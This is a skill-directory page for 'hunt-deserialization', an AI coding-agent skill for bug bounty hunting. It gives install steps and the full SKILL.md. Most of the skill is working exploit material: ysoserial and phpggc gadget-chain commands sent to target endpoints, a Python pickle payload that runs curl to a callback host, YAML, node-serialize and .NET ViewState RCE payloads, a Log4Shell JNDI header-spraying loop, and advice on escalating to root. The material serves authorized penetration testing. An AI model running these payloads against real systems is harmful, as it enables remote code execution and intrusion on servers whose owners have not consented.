hunt-deserialization — Claude Code skill: RCE via deserialization
hunt-deserialization — a skill for hunting deserialization bugs in Java, PHP, Python, .NET and Ruby. Tests ysoserial gadget chains, PHP object injection, pickle RCE, BinaryFormatter and Log4Shell.
MIT ★ 16,193 updated 2026-10-29
/plugin marketplace add elementalsouls/Claude-BugHunter
/plugin install claude-bughunter@elementalsoulsWhat hunt-deserialization does
hunt-deserialization hunts deserialization flaws that lead to server-side code execution. It checks Java ysoserial chains (CommonsCollections, Spring, JNDI), PHP injection via unserialize() and phpggc, Python pickle through __reduce__, .NET BinaryFormatter, Ruby Marshal.load and JNDI injection in Log4j.
The skill implements a six-phase methodology: detecting signals in headers and cookies (rO0= for Java, rememberMe for Apache Shiro, _VIEWSTATE for ASP.NET), generating payloads with ysoserial and phpggc, testing blind RCE through DNS callbacks, exploiting Log4Shell. You need ysoserial-all.jar for Java, phpggc for PHP and YSoSerial.Net for .NET chains.
For Java chains like CommonsCollections6, the server must have a vulnerable library in its classpath. Blind exploits using DNS confirm code execution when the response contains no output.
What it helps with
- detect deserialization entry points in Java, PHP, Python, .NET and Ruby
- test ysoserial and phpggc gadget chains for RCE
- find Log4Shell via JNDI injection in headers
- craft a pickle payload with DNS callback for Python
- exploit unsigned ViewState in ASP.NET
Example prompts for the agent
- Check
/api/load-modelendpoint for pickle deserialization - Find cookies starting with rO0= and test ysoserial CommonsCollections6
- Generate a JNDI payload for Log4Shell in the User-Agent header
How to install hunt-deserialization
1Plugin marketplace
/plugin marketplace add elementalsouls/Claude-BugHunter/plugin install claude-bughunter@elementalsoulsThis installs the whole claude-bughunter plugin with all its skills
2Skills CLI (Vercel)
npx skills add elementalsouls/Claude-BugHunter --skill hunt-deserialization -a claude-code3Manually: put the files in place
~/.claude/skills/hunt-deserialization/SKILL.mdCopy the whole skill folder; for one project use .claude/skills/hunt-deserialization/
1Skills CLI (Vercel)
npx skills add elementalsouls/Claude-BugHunter --skill hunt-deserialization -a codex2Manually: put the files in place
.agents/skills/hunt-deserialization/SKILL.mdFor all projects use ~/.agents/skills/
1Skills CLI (Vercel)
npx skills add elementalsouls/Claude-BugHunter --skill hunt-deserialization -a cursor2Manually: put the files in place
.cursor/skills/hunt-deserialization/SKILL.mdCursor also reads .agents/skills/ and .claude/skills/
1GitHub CLI
gh skill install elementalsouls/Claude-BugHunter skills/hunt-deserialization2Manually: put the files in place
.github/skills/hunt-deserialization/SKILL.md1Skills CLI (Vercel)
npx skills add elementalsouls/Claude-BugHunter --skill hunt-deserialization -a gemini-cli2Platform CLI
gemini skills install https://github.com/elementalsouls/Claude-BugHunter --path skills/hunt-deserializationManually: put the files in place
.devin/skills/hunt-deserialization/SKILL.mdThe legacy .windsurf/skills/ path still works
Claude.ai
Zip the folder and upload it in Settings → Capabilities → Skills
Step by step, with commands for each platform: How to install skills in Claude Code: five ways
Questions about hunt-deserialization
How to install hunt-deserialization in Claude Code?
Run /plugin marketplace add elementalsouls/Claude-BugHunter, then /plugin install claude-bughunter@elementalsouls, then npx skills add elementalsouls/Claude-BugHunter --skill hunt-deserialization -a claude-code and place SKILL.md in ~/.claude/skills/hunt-deserialization/.
What does hunt-deserialization do?
It hunts deserialization bugs in Java, PHP, Python, .NET and Ruby that allow server-side code execution. Tests gadget chains, generates payloads and checks for Log4Shell.
What tools does hunt-deserialization require?
For Java you need ysoserial-all.jar, for PHP — phpggc, for .NET — YSoSerial.Net. Without them payload generation will not work.
Source text
SKILL.md · MIT
---
name: hunt-deserialization
description: Hunt Insecure Deserialization — Java gadget chains (ysoserial), PHP object injection (phpggc), Python pickle RCE, .NET BinaryFormatter, Ruby Marshal.load, JNDI/Log4Shell. RCE via deserialization is almost always Critical. Use when target runs Java, PHP serialization, Python pickle, .NET, or Ruby on Rails.
sources: hackerone_public
report_count: 22
---
# HUNT-DESERIALIZATION — Insecure Deserialization
## Crown Jewel Targets
Deserialization bugs are almost always Critical — they lead directly to RCE without prerequisite conditions.
**Highest-value chains:**
- **Java ysoserial gadget chains** — CommonsCollections, Spring, JNDI, Groovy gadgets → full OS command execution
- **PHP Object Injection** — `__wakeup` / `__destruct` magic methods → file write / RCE
- **Python pickle** — `pickle.loads(attacker_data)` → `__reduce__` → `os.system('id')`
- **.NET BinaryFormatter** — TypeConfuseDelegate gadget chain → RCE
- **Ruby Marshal.load** — Gem::Requirement, Gem::Installer gadgets → RCE
- **JNDI injection** — Log4Shell pattern: `${jndi:ldap://attacker/a}` → class load → RCE
---
## Attack Surface Signals
### Detection Patterns
```bash
# Java serialized objects start with AC ED 00 05 (hex) or rO0A (base64)
echo "rO0ABXQ=" | base64 -d | xxd | head -1 # shows: ac ed 00 05
# PHP serialization: O:8:"stdClass":0:{}
# Python pickle: starts with \x80\x04 (protocol 4) or \x80\x02
# Apache Shiro: rememberMe cookie present
curl -sI https://$TARGET/ | grep -i "Set-Cookie.*rememberMe"
# Log4j: test user-controlled fields for JNDI interpolation
curl -H 'User-Agent: ${jndi:dns://COLLAB_HOST/a}' https://$TARGET/
```
### Header / Cookie Signals
```
Content-Type: application/x-java-serialized-object
Cookie containing rO0= prefix (Java base64 serialized)
Cookie: rememberMe= (Apache Shiro)
Cookie: _VIEWSTATE (ASP.NET ViewState without encryption)
Endpoints: /remoting/, /invoker/, /jmx-console/, /wls-wsat/
```
---
## Step-by-Step Hunting Methodology
### Phase 1 — Java Deserialization (ysoserial)
```bash
# Install ysoserial
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar
# Generate OOB detection payload
java -jar ysoserial-all.jar CommonsCollections6 \
'curl http://COLLAB_HOST/ysoserial' | base64 -w0
# Send as body or cookie
java -jar ysoserial-all.jar CommonsCollections6 'id > /tmp/pwned' | base64 | \
curl -s https://$TARGET/wls-wsat/CoordinatorPortType \
-H "Content-Type: application/x-java-serialized-object" \
--data-binary @-
# Apache Shiro exploit (default AES key)
python3 shiro_exploit.py -u https://$TARGET/ -c "id"
```
### Phase 2 — PHP Object Injection
```bash
# Find unserialize() calls in source
grep -r "unserialize(" --include="*.php" .
# Inject test: O:8:"stdClass":1:{s:4:"test";s:5:"value";}
# Send in cookie, POST param, or hidden form field
# If error changes → deserialization confirmed
# Craft gadget chain using phpggc
git clone https://github.com/ambionics/phpggc
php phpggc -l # list chains
php phpggc Laravel/RCE5 system id | base64
```
### Phase 3 — Python Pickle
```bash
# Generate OOB payload
python3 -c "
import pickle, os, base64
class Exploit(object):
def __reduce__(self):
return (os.system, ('curl http://COLLAB_HOST/pickle-rce',))
print(base64.b64encode(pickle.dumps(Exploit())).decode())
"
# Send as cookie or POST body
curl -s https://$TARGET/api/load-model \
-H "Content-Type: application/octet-stream" \
--data-binary @payload.pkl
```
### Phase 3b — PHP phar://, Python YAML, Node deserialization
- **PHP phar:// (no `unserialize()` call)** — any filesystem function (`file_exists`/`fopen`/`getimagesize`) on a `phar://` path deserializes the archive metadata -> object injection with zero `unserialize()` in code.
```bash
phpggc -p phar -o poly.jpg Monolog/RCE1 system id # valid-image + phar polyglot
# then reach phar://uploads/poly.jpg/x via any fs call
```
- **Python `yaml.load()` (CVE-2017-18342)** — pre-5.1 default-unsafe:
`!!python/object/apply:os.system ['curl http://$COLLAB/yaml']`
- **Node `node-serialize` (CVE-2017-5941)** — IIFE marker in any field passed to `unserialize()`:
`{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('curl http://$COLLAB/node')}()"}`
### Phase 4 — .NET ViewState
```bash
# Check if ViewState is unsigned (MAC disabled)
# Look for __VIEWSTATE in HTML source without __VIEWSTATEMAC
# YSoSerial.Net
dotnet YSoSerial.exe -f BinaryFormatter -g TypeConfuseDelegate \
-c "cmd /c curl http://COLLAB_HOST/viewstate-rce" -o base64
```
### Phase 5 — Log4Shell / JNDI
```bash
# Test all user-controlled inputs
COLLAB="COLLAB_HOST"
for HEADER in "User-Agent" "X-Forwarded-For" "Referer" "X-Api-Version" "Accept-Language"; do
curl -s https://$TARGET/ -H "$HEADER: \${jndi:dns://$COLLAB/$HEADER}" &
done
# Test POST body fields
curl -s -X POST https://$TARGET/api/login \
-H "Content-Type: application/json" \
-d "{\"username\": \"\${jndi:ldap://$COLLAB/a}\"}"
```
### Phase 6 — Ruby Marshal
```bash
# Look for Marshal.load in source
grep -r "Marshal.load\|Marshal.restore" --include="*.rb" .
# Gem::Requirement gadget chain via marshalable objects
# Use ruby-advisory-db gadgets
```
---
## Chain Table
| Deserialization signal | Chain to | Impact |
|-----------------------|----------|--------|
| Any deser RCE | /etc/passwd + id output | Prove arbitrary command execution |
| RCE as low-privilege user | Find SUID binaries / sudo rules | Privilege escalation → root |
| Blind RCE (OOB callback) | DNS callback → confirm exec | Sufficient for Critical PoC |
| Log4Shell | LDAP → JNDI → class load | Full RCE on JVM process |
---
## Automation
```bash
# OOB listener
interactsh-client -v -n 5
# JNDI exploit kit
git clone https://github.com/pimps/JNDI-Exploit-Kit
```
---
## Validation
✅ DNS/HTTP callback from COLLAB host: blind deserialization confirmed
✅ Command output in response: full RCE confirmed
**Severity:** Almost always **Critical** — RCE with server process privileges.
© Sachin Sharma · MIT · elementalsouls/Claude-BugHunter